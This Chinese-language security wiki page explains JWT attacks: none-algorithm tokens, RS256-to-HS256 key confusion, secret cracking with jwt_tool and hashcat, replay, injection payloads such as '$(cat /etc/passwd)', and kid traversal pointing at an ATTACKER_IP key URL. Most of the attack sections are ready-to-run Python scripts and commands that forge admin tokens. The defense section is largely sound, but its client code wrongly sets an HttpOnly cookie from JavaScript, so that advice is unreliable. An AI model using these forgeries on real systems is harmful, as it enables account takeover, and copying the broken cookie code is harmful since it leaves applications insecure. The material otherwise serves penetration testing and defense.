---
title: "JWT 攻击详解"
weight: 30
date: "2026-03-09T08:58:49+08:00"
lastmod: "2026-03-09T08:58:49+08:00"
---

## 漏洞概述

JSON Web Token (JWT) 是一种开放标准 (RFC 7519)，用于在各方之间安全地传输信息。但由于实现不当，常导致认证绕过、权限提升等漏洞。

**OWASP Top 10**: A07:2021 (Identification and Authentication Failures)  
**危害等级**: ⭐⭐⭐⭐

---

## JWT 结构

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header.Payload.Signature
```

### Header
```json
{
  "alg": "HS256",
  "typ": "JWT"
}
```

### Payload
```json
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "exp": 1516242622,
  "role": "user"
}
```

### Signature
```
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
```

---

## 常见攻击手法

### 1. 无算法攻击 (None Algorithm)

**原理**: 将 alg 改为 `none`，服务器可能跳过签名验证。

**利用**:
```bash
# 修改 Header
{
  "alg": "none",
  "typ": "JWT"
}

# 删除 Signature 部分
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0.

# 使用 jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.signature -X n
```

### 2. 算法混淆攻击 (Algorithm Confusion)

**原理**: 将 RS256 改为 HS256，使用公钥作为 HMAC 密钥。

**利用**:
```bash
# 1. 获取公钥
curl https://target.com/.well-known/jwks.json

# 2. 修改 Header
{
  "alg": "HS256",
  "typ": "JWT"
}

# 3. 使用公钥作为 HMAC 密钥签名
python3 jwt_tool.py <JWT> -X k -pk public.pem

# 或手动计算
import jwt
import hmac
import hashlib

public_key = open('public.pem').read()
token = jwt.encode(payload, public_key, algorithm='HS256')
```

### 3. 密钥爆破攻击

**原理**: 弱密钥可通过字典攻击破解。

**利用**:
```bash
# jwt_tool 爆破
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -d /usr/share/wordlists/rockyou.txt

# hashcat
hashcat -m 16500 jwt.txt wordlist.txt

# John the Ripper
john --wordlist=rockyou.txt jwt.txt
```

**常见弱密钥**:
```
secret
password
123456
jwt_secret
your-256-bit-secret
```

### 4. 签名绕过

**原理**: 某些库存在签名验证绕过漏洞。

**利用**:
```bash
# 添加空签名
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.

# 使用无效签名
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.invalid

# 修改 payload 后保持原签名
# 某些服务器可能不验证签名
```

### 5. 敏感信息泄露

**原理**: JWT payload 仅 Base64 编码，未加密。

**检测**:
```bash
# 解码查看
echo "eyJzdWIiOiIxMjM0NTY3ODkwIn0" | base64 -d

# jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -T

# 在线工具
https://jwt.io/
```

### 6. Token 重放攻击

**原理**: JWT 无状态，可重复使用。

**利用**:
```bash
# 1. 截获 JWT
# 2. 重复发送
curl -H "Authorization: Bearer <JWT>" http://target.com/api/user

# 3. 即使密码修改后，旧 Token 仍有效
```

### 7. 注入攻击

**原理**: JWT 头部或 payload 可能存在注入点。

**利用**:
```bash
# SQL 注入
{
  "sub": "' OR '1'='1",
  "name": "admin'--"
}

# 命令注入 (某些实现)
{
  "sub": "$(cat /etc/passwd)"
}
```

---

## 实战案例

### 案例 1: 算法混淆 (RS256 → HS256)

```python
import jwt
import requests

# 原始 Token
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."

# 获取公钥
public_key = requests.get('https://target.com/.well-known/jwks.json').json()['keys'][0]['x5c'][0]
public_key = f"-----BEGIN PUBLIC KEY-----\n{public_key}\n-----END PUBLIC KEY-----"

# 修改 payload
payload = {
    "sub": "admin",
    "role": "admin",
    "iat": 1234567890
}

# 使用公钥作为 HS256 密钥
forged_token = jwt.encode(payload, public_key, algorithm='HS256')

# 使用伪造 Token
headers = {"Authorization": f"Bearer {forged_token}"}
response = requests.get('http://target.com/admin', headers=headers)
```

### 案例 2: 弱密钥爆破

```bash
# 使用 jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -d common-passwords.txt

# 成功破解后修改 payload
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -S hs256 -p "secret" -I -pc role -pv admin
```

### 案例 3: 权限提升

```python
import jwt
import base64
import json

# 解码原始 Token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
header_payload = token.split('.')[1]
decoded = base64.urlsafe_b64decode(header_payload + '==')
payload = json.loads(decoded)

# 修改权限
payload['role'] = 'admin'
payload['is_admin'] = True

# 重新签名 (假设密钥为 'secret')
new_token = jwt.encode(payload, 'secret', algorithm='HS256')
```

### 案例 4: Kid 路径遍历

```bash
# 漏洞：kid 参数用于加载密钥文件
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../dev/null"
}

# 利用
python3 jwt_tool.py <JWT> -X k -kid "../../dev/null"

# 或使用空文件
{
  "kid": "http://ATTACKER_IP/empty.key"
}
```

---

## 工具

### jwt_tool

```bash
# 安装
pip3 install jwt_tool

# 检测
python3 jwt_tool.py <JWT>

# 爆破密钥
python3 jwt_tool.py <JWT> -d wordlist.txt

# 算法攻击
python3 jwt_tool.py <JWT> -X n  # None
python3 jwt_tool.py <JWT> -X k  # Key Confusion

# 修改 payload
python3 jwt_tool.py <JWT> -S hs256 -p "secret" -I -pc role -pv admin
```

### jwt-cli

```bash
# 安装
npm install -g jwt-cli

# 解码
jwt decode <JWT>

# 创建
jwt encode --secret secret --alg HS256 '{"sub":"admin"}'
```

---

## 防御建议

### 服务端

```python
# 1. 强制指定算法
import jwt

# ❌ 错误
jwt.decode(token, secret, algorithms=None)

# ✅ 正确
jwt.decode(token, secret, algorithms=['HS256'])

# 2. 验证所有声明
payload = jwt.decode(token, secret, algorithms=['HS256'], options={
    'require': ['exp', 'iat', 'sub'],
    'verify_exp': True,
    'verify_iat': True,
    'verify_nbf': True,
    'verify_iss': True,
    'verify_aud': True
})

# 3. 使用强密钥
import secrets
secret = secrets.token_hex(32)  # 256-bit

# 4. 设置合理过期时间
payload = {
    'exp': datetime.utcnow() + timedelta(hours=1),
    'iat': datetime.utcnow(),
    'sub': user_id
}

# 5. 实现 Token 黑名单/刷新机制
```

### 客户端

```javascript
// 1. 安全存储
// ❌ 避免 localStorage (XSS 风险)
localStorage.setItem('token', token);

// ✅ 使用 HttpOnly Cookie
document.cookie = "token=" + token + "; HttpOnly; Secure; SameSite=Strict";

// 2. 自动刷新
setInterval(() => {
    refreshToken();
}, 15 * 60 * 1000); // 每 15 分钟刷新

// 3. 登出时清除
function logout() {
    localStorage.removeItem('token');
    // 或清除 Cookie
}
```

---

## 参考链接

- [HackTricks - JWT](https://book.hacktricks.wiki/pentesting-web/json-web-token-jwt)
- [PayloadsAllTheThings - JWT](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token)
- [jwt_tool](https://github.com/ticarpi/jwt_tool)
- [OWASP JWT Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)
